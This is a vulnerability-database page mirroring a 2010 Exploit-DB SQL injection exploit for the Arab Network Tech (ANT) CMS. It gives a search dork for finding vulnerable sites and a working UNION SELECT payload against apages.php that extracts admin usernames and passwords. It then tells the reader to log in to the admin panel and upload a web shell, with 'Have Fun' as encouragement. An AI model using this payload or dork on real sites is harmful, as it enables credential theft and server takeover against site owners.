Arab Network Tech. (ANT) CMS - SQL Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1059176 漏洞类型
发布时间 2010-02-06 更新时间 2010-02-06
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/11339
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

:::::::::::::::::::::::::

Exploit Title : Arab Network Tech. (ANT) CMS SQL Injection

Author : Tr0y-x

Script Site : www.antpage.com<http://www.antpage.com/>

Version : All Versions

Tested on : Windows & Linux

Dork : inurl:apages.php

My home : WwW.SeC-WaR.CoM<http://www.sec-war.com/>

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

:::::::::::::::::::::::::

=====================================Exploit===============

=========================

www.[Server}.com/[Path]/[SQL<http://www.[server%7d.com/[Path]/[SQL>]

Example

www.[Server}.com/[Path]/apages.php?sgroup<http://www.[server%7d.com/[Path]/apages.php?sgroup>=-

10+UniOn+AlL+SeLeCt+1,2,concat

(username,0x3a,password,0x3a),4,5,6,7,8,9,10+from+admins--

Then Go to Admin panel Default www.[Server}.com/<http://www.[server%7d.com/>

[Path]/admin

And Upload Shell xD

Have Fun :D

===========================================================

=========================

Greetz to : Alnjm33 - Predator - xXx - XR57 - Ahmadso -

Black_Angle & All Sec-War Members